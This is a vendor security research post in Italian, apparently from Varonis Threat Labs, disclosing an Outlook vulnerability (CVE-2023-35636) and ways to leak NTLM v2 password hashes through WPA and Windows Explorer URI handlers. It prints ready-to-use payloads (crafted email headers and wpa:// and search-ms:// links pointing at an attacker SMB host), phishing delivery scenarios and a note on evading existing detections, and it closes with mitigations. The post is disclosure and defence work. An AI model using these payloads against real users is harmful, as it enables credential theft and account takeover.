Varonis announces strategic partnership with Microsoft to accelerate the secure adoption of Copilot.

Learn more

Individuazione delle vulnerabilità di Outlook e nuovi modi per trafugare gli hash NTLM

Varonis Threat Labs ha scoperto una nuova vulnerabilità Outlook e tre nuovi modi per accedere agli hash NTLM v2 delle password sfruttando Outlook, Windows Performance Analyzer (WPA) e Windows File Explorer.
Dolev Taler
8 minuto di lettura
Ultimo aggiornamento 8 febbraio 2024
microsoft NTLM leaks

TL;DR

Varonis Threat Labs ha scoperto una nuova vulnerabilità di Outlook (CVE-2023-35636) in tre nuovi modi per accedere agli hash NTLM v2 delle password sfruttando Outlook, Windows Performance Analyser (WPA) ed Esplora file di Windows. Avendo accesso a queste password, gli aggressori possono tentare un attacco brute-force offline o un attacco relay di autenticazione per compromettere un account e ottenere l'accesso.

La missione di Varonis Threat Labs è scoprire nuovi modi in cui i dati possono essere esposti e aiutare a sviluppare soluzioni di sicurezza per rilevare e bloccare le minacce. Ciascuna di queste vulnerabilità ed exploit è stata comunicata a Microsoft nel luglio 2023. Da allora Microsoft ha chiuso le vulnerabilità per WPA ed Esplora file di Windows definendole di "gravità moderata" e ha classificato l'exploit per Outlook come CVE-2023-35636 "importante", valutandolo 6,5. Microsoft ha rilasciato una patch per questo CVE il 12 dicembre 2023.

I sistemi senza patch rimangono vulnerabili agli aggressori che tentano di sottrarre hash di password con i seguenti metodi.

Che cos'è CVE-2023-35636?

CVE-2023-35636 è un exploit della funzione di condivisione del calendario in Microsoft Outlook, in cui l'aggiunta di due intestazioni a un'e-mail indirizza Outlook a condividere contenuti e contattare un computer designato che crea l'opportunità di intercettare un hash NTLM v2.

Che cos'è NTLM v2?

NTLM v2 è un protocollo crittografico utilizzato da Microsoft Windows per autenticare gli utenti sui server remoti. Sebbene NTLM v2 sia una versione più sicura dell'NTLM originale, v2 è pur sempre vulnerabile agli attacchi brute-force e relay di autenticazione offline.

Parte del protocollo NTLM v2 prevede il trasporto sicuro delle password come hash. L'hashing della password trasforma la password (o qualsiasi altro dato) in una breve stringa di lettere e/o numeri utilizzando un algoritmo di crittografia.

Poiché non viene eseguito alcun salting (aggiunta di un valore casuale alla password per impedire tabelle hash precalcolate), queste stringhe sono equivalenti alle password, per cui se si prende il valore hash dal server, gli aggressori possono autenticarsi senza conoscere la password vera e propria.

NTLM 01 aggiornato

Esempio di hash NTLM v2 intercettato.

Come fanno gli aggressori a utilizzare gli hash NTLM v2?

Normalmente, gli aggressori utilizzano gli hash NTLM v2 in due tipi di attacchi: attacchi brute-force o relay di autenticazione offline.

Brute-force offline

Un attacco brute-force offline è un tipo di attacco in cui l'aggressore ha accesso a una copia dell'hash NTLM v2 della password dell'utente e può utilizzare un computer per generare tutte le possibili password, provandole una ad una con l'hash finché non trova una corrispondenza.

Poiché la forzatura della password viene eseguita esclusivamente sul computer dell'aggressore, il tentativo non lascia prove sulla rete, rendendo l'attacco non rilevabile. Questa tecnica è così diffusa che esiste uno strumento web gratuito, ntlm.pw, che consente di recuperare la password effettiva se individuata: questo evidenzia ulteriormente i pericoli di questo hash e delle password facilmente decifrabili.

Relay di autenticazione

Un relay di autenticazione è un tipo di attacco in cui l'aggressore intercetta una richiesta di autenticazione NTLM v2 e la inoltra a un altro server.

Il computer della vittima invia quindi la risposta di autenticazione al server dell'aggressore e l'aggressore potrà utilizzare tali informazioni per autenticarsi sul server previsto della vittima.

Fuga di hash NTLM v2 tramite Outlook:

Outlook è lo strumento standard di posta elettronica e calendario per la suite Microsoft 365, utilizzato da milioni di persone in tutto il mondo per scopi lavorativi e personali.

Una delle funzioni di Outlook è la possibilità di condividere i calendari tra gli utenti. Tuttavia, questa funzione può essere sfruttata, come scoperto da Varonis Threat Labs, aggiungendo alcune intestazioni in un'e-mail per attivare un tentativo di autenticazione, reindirizzando la password con hash.

Exploit di Outlook:

Per eseguire questo exploit con successo, è necessario aggiungere due intestazioni di posta a un'e-mail:

Intestazioni utilizzate:

"Content-Class" = "Sharing"

"x-sharing-config-url" = \\(computer dell'aggressore)\a.ics

  1. "Content-Class" = "Sharing" indica a Outlook che questa e-mail contiene contenuti di condivisione.
  2. "x-sharing-config-url" = \\(computer dell'aggressore)\a.ics - La seconda riga indica l'Outlook della vittima al computer dell'aggressore.

Scenari di attacco

  1. Un aggressore crea un invito via e-mail alla vittima, indicando il percorso del file ".ICS" al computer controllato dall'aggressore stesso. Facendo clic su "ascolto" in un percorso controllato automaticamente (dominio, IP, percorso della cartella, UNC, ecc.), l'aggressore può ottenere pacchetti di tentativi di connessione contenenti l'hash utilizzato per tentare di accedere a questa risorsa. Per eseguire l'ascolto vengono utilizzati molti strumenti e, nell'esempio precedente, è stato utilizzato Responder.py (lo strumento di riferimento per tutti gli attacchi hash SMB e NTLM).
  2. Se la vittima fa clic sul pulsante "Apri questo iCal" all'interno del messaggio, il computer tenterà di recuperare il file di configurazione sul computer dell'aggressore, esponendo l'hash NTLM della vittima durante l'autenticazione.

Fuga di hash NTLM v2 tramite gestori URI e WPA

I gestori URI, noti anche come schemi URI o gestori di protocolli, fanno parte di un sistema operativo che consente alle applicazioni di registrarsi come protocollo software o strumento specifico da utilizzare per tipi di identificatori di risorse uniformi (URI).

I gestori URI consentono una perfetta integrazione tra diverse applicazioni, rendendo possibile l'apertura di pagine web, il lancio di client e-mail, l'avvio di chiamate o l'esecuzione di altre azioni personalizzate con un semplice clic di un collegamento. Gli esempi comuni includono "http://" o "mailto://".

Windows Performance Analyzer (WPA) è uno strumento completo e ricco di funzionalità incluso nel Windows Performance Toolkit e nel kit di sviluppo software.

Poiché questa funzionalità è fornita per impostazione predefinita, finisce per essere utilizzata in molti computer degli sviluppatori. WPA, come molti altri programmi, installa un gestore URI per "WPA://" per impostazione predefinita, consentendo il lancio automatico del programma quando un utente fa clic su un collegamento correlato a WPA.

Richiesta WPAIl gestore URI utilizza Windows Edge per elaborare la richiesta WPA.

Applicazione WPA apertaDopo aver ricevuto un link WPA, Edge tenterà di aprire l'applicazione WPA, generando un'avvertenza.

Ciò che rende interessante questo aspetto è che WPA tenta di autenticarsi utilizzando NTLM v2 sul web aperto.

NTLM 01 aggiornatoL'hash NTLM v2 intercettato

In genere, è necessario utilizzare NTLM v2 quando si tenta di eseguire l'autenticazione con servizi interni basati su indirizzi IP. Tuttavia, quando l'hash NTLM v2 passa attraverso la rete Internet aperta, è vulnerabile agli attacchi relay e brute-force offline.

L'exploit WPA

Il payload completo è semplice e si compone di sole tre parti.

  1. Payload completo:
    wpa:////<attacker IP>/bla
    wpa:// - Gestore URI: questa parte indica al sistema operativo che questo collegamento deve aprirsi in WPA.
  2. //<attacker IP> - Indica alla macchina della vittima di accedere alla macchina dell'aggressore tramite SMB.
    Di solito, un percorso SMB sarà scritto con una barra obliqua rovesciata (\\<path>), ma WPA accetta anche una barra obliqua normale, che è più facile da usare per gli URL. 
  3. /bla - Indica al computer della vittima il file a cui accedere. Nell'esempio precedente, si tratta di un percorso di file casuale falso.

Scenario delle aggressioni

  1. Un aggressore invia un'e-mail per attirare una vittima e all'interno dell'e-mail è presente un collegamento a https://com
  2. Al clic, il sito dannoso crea un reindirizzamento automatico e reindirizza la vittima al payload wpa:////malicioussite.com/bla
  3. Quando la vittima fa clic sul pulsante Apri WPA, l'aggressore ottiene l'hash NTLM v2 della password.

Fuga di hash NTLM v2 utilizzando Esplora file di Windows

L'attacco WPA potrebbe sembrare un modo semplice per gli aggressori di ottenere l'accesso, ma la maggior parte degli utenti non sono sviluppatori e potrebbero non avere WPA installato.

Varonis Threat Labs ha continuato la sua ricerca e ha scoperto che possiamo eseguire lo stesso attacco utilizzando il processo di Windows File Manager, explorer.exe. Nota: utilizzeremo explorer.exe da qui in poi per fare riferimento al processo, non al prodotto stesso.

Explorer.exe consente di sfogliare i file e le cartelle, copiare e spostare i file e creare ed eliminare cartelle. Explorer.exe include anche una potente funzione di ricerca che consente di trovare i file in modo rapido e semplice.

Per puntare explorer.exe al Web, esiste un gestore URI "search-ms" che attiva la ricerca di explorer.exe e può utilizzare parametri di ricerca avanzati se necessario.

Gli exploit di Windows File Explorer

Abbiamo trovato due parametri univoci nella documentazione di Microsoft meno noti per quanto riguarda comportamento e valori attesi; si tratta dei parametri "subquery" e "crumb".

Il primo metodo per trafugare gli hash NTLM v2 è utilizzare il parametro subquery:

search-ms://query=poc&subquery=\\(Computer dell'aggressore)\poc.search-ms

  1. search-ms:// - Gestore URI: indica al sistema operativo che questo link deve aprirsi in exe.
  2. query=poc - Query di ricerca falsa
  3. &subquery=\\(Computer dell'aggressore)\poc.search-ms - Percorso al file .search-ms. Normalmente questo conterrebbe un percorso per un file di sottoquery da eseguire, ma l'aggressore può utilizzarlo per far sì che il computer della vittima si connetta a un SMB remoto e rubi l'hash.

Scenario delle aggressioni

  1. Un aggressore crea un link dannoso utilizzando l'exploit descritto sopra. Poiché Esplora file di Windows è un'applicazione Windows affidabile, le vittime potrebbero sentirsi più a loro agio nel fare clic su di essa.
  2. Per inviare alla vittima il link dannoso, un attacco può utilizzare: phishing tramite e-mail, pubblicità falsa su un sito Web o persino inviare il collegamento direttamente tramite i social media.
  3. Quando la vittima fa clic sul collegamento, l'aggressore può ottenere l'hash e quindi provare a decifrare la password dell'utente offline.
  4. Dopo che l'hash è stato violato e la password ottenuta, un aggressore può utilizzarla per accedere all'organizzazione come utente. Con questo payload,explorer.exe proverà a cercare file con estensione .search-ms.

Quando il computer della vittima tenta di connettersi al computer dell'aggressore per recuperare il file, l'hash NTLM v2 viene inviato all'aggressore.

Questo metodo restituisce rundll32 open con il parametro:
rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie <dominio dell'aggressore> http:// <dominio dell'aggressore>/poc.search-ms

Popup NTLMUn esempio del popup visualizzato dalla vittima. Facendo clic sul pulsante "Apri in Explorer", l'hash dell'utente sarà inviato all'aggressore.

NTLM_04_V2Dopo che la vittima ha fatto clic sul link, l'aggressore ha ottenuto le password crittografate della vittima.

NTLM 15 modificato

Lo stesso schema di "DavSetCookie" nei log.

Un modello familiare

Questo metodo produce gli stessi indicatori di compromissione di CVE-2023-23397 e viene rilevato da alcuni degli stessi rilevamenti utilizzando la stessa funzione DAVSetCookie.

Il secondo metodo che abbiamo trovato per trafugare gli hash NTLM è l'utilizzo del parametro crumb:

search-ms://query=poc&crumb=location:\\(Computer dell'aggressore)

  1. search-ms:// - Gestore URI: indica al sistema operativo che questo collegamento deve aprirsi in exe.
  2. query=poc - Query di ricerca falsa
  3. crumb=location:\\(Computer dell'aggressore) - La proprietà della posizione sotto il parametro crumb consente all'utente di specificare un percorso per la ricerca. Un aggressore può utilizzare la combinazione di crumb e posizione per far sì che il computer della vittima si connetta a una SMB remota e rubi l'hash.

Scenario delle aggressioni

Questo exploit utilizza lo stesso scenario di attacco dell'altro exploit di Windows File Explorer.

  1. Un aggressore crea un link dannoso utilizzando l'exploit descritto sopra.
  2. Per inviare alla vittima il link dannoso, un attacco può utilizzare il phishing tramite e-mail, una pubblicità falsa sul sito Web o persino inviare il link direttamente tramite i social media.
  3. Quando la vittima fa clic sul collegamento, l'aggressore può ottenere l'hash e quindi provare a decifrare la password dell'utente offline.
  4. Dopo che l'hash è stato violato e la password ottenuta, un aggressore può utilizzarla per accedere all'organizzazione come utente.

Il parametro crumb può utilizzare la posizione speciale per selezionare explorer.exe per la base di ricerca o dove inizia una query di ricerca. Questa funzione consente a un aggressore di indirizzare il computer della vittima a connettersi e autenticarsi con il computer dell'aggressore stesso, creando l'opportunità di rubare l'hash della password.

A differenza del parametro subquery, in questo caso, non esiste un'istanza rundll32: tutta la comunicazione proviene direttamente da explorer.exe, quindi questo, di fatto, supera tutti i rilevamenti precedenti di CVE-2023-23397.

Tre processi completatiRicorda che i tre processi completati che mostrano lo sfruttamento non sono stati rilevati.

Risposta di Microsoft

Microsoft ha riconosciuto l'exploit per Outlook come CVE-2023-35636 "importante", lo ha classificato 6,5, e ha rilasciato una patch per CVE-2023-35636 il 12 dicembre 2023.

Varonis ha inviato una notifica a Microsoft tramite Microsoft Security Response Center in merito alla vulnerabilità WPA il 5 luglio 2023 e ha comunicato la vulnerabilità di Windows File Explorer il 30 luglio 2023. Microsoft ha chiuso entrambi i ticket definendoli di "gravità moderata".

I sistemi privi di patch rimangono vulnerabili agli aggressori che tentano di sottrarre hash di password con questi metodi.

Protezione contro gli attacchi NTLM v2

Esistono diversi modi per proteggersi dagli attacchi NTLM v2:

  • Firma SMB: la firma SMB è una funzione di sicurezza che aiuta a proteggere il traffico SMB da manomissioni e attacchi man-in-the-middle. Funziona tramite l'apposizione di una firma digitale per tutti i messaggi SMB. Ciò significa che se un aggressore tenta di modificare un messaggio SMB, il destinatario riuscirà a rilevare la modifica e rifiutare il messaggio.

    La firma SMB è attivata su Windows Server 2022 e versioni successive per impostazione predefinita e su Windows 11 Enterprise Edition (a partire dalla build 25381 dell'anteprima interna).
  • Blocca NTLM v2 in uscita, a partire da Windows 11 (25951). Microsoft ha aggiunto l'opzione per bloccare l'autenticazione NTLM in uscita.
  • Forza l'autenticazione Kerberos quando possibile e blocca NTLM v2 sia a livello di rete che di applicazione.

What should I do now?

Below are three ways you can continue your journey to reduce data risk at your company:

1

Schedule a demo with us to see Varonis in action. We'll personalize the session to your org's data security needs and answer any questions.

2

See a sample of our Data Risk Assessment and learn the risks that could be lingering in your environment. Varonis' DRA is completely free and offers a clear path to automated remediation.

3

Follow us on LinkedIn, YouTube, and X (Twitter) for bite-sized insights on all things data security, including DSPM, threat detection, AI security, and more.

Try Varonis free.

Get a detailed data risk report based on your company’s data.
Deploys in minutes.

Keep reading

Varonis tackles hundreds of use cases, making it the ultimate platform to stop data breaches and ensure compliance.